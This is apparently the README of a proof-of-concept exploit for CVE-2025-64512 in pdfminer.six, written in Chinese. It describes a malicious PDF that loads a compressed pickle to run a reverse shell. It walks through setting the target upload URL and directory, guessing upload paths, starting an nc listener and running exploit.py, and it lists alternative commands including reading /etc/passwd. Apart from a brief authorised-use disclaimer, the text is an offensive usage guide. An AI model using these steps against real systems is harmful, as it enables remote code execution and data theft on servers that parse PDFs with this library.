
用于CVE-2025-64512的漏洞利用,可获取反弹Shell。
此概念验证演示了 pdfminer.six(CVE-2025-64512)中的一个漏洞,在处理恶意 PDF 时可能导致任意命令执行。该漏洞利用程序使用一个构造的 PDF,引用恶意的 gzip 压缩 Python pickle 文件。当存在漏洞的应用程序解析该 PDF 时,它会加载 pickle 并执行其中嵌入的有效载荷。
包含的 PoC 被配置为执行 Python 反向 Shell,但有效载荷可以替换为任意命令。
requests安装所需依赖:
pip install requests
在运行漏洞利用程序之前,请编辑 exploit.py 的配置部分:
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
存在漏洞的上传端点的 URL。
示例:
BASE_URL = "http://target/upload.php"
该漏洞利用程序会将恶意 PDF 和压缩的 pickle 文件都上传到此端点。
目标上存储上传文件的绝对目录。
示例:
UPLOAD_DIR = "/var/www/html/uploads"
此路径被嵌入到生成的 PDF 中,并且必须与存在漏洞的应用程序稍后读取所上传 pickle 文件的位置相匹配。
如果上传目录未知,请在枚举期间确定它。根据应用程序的不同,有用的技术包括:
典型位置包括:
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
正确的目录完全取决于目标应用程序。
你的监听器 IP 地址。
示例:
LHOST = "10.10.14.5"
用于反向 Shell 的监听端口。
示例:
LPORT = 4444
在运行漏洞利用程序之前启动监听器:
nc -lvnp 4444
运行漏洞利用程序:
python3 exploit.py
该脚本将:
evil.pickle.gz。除了反向 Shell,任何操作系统命令都可以通过修改传递给以下函数的命令来执行:
create_pickle_with_cmd(command)
示例包括:
id
whoami
uname -a
cat /etc/passwd
此概念验证仅用于教育目的、安全研究和授权渗透测试。请仅对您明确获得许可进行安全测试的系统使用它。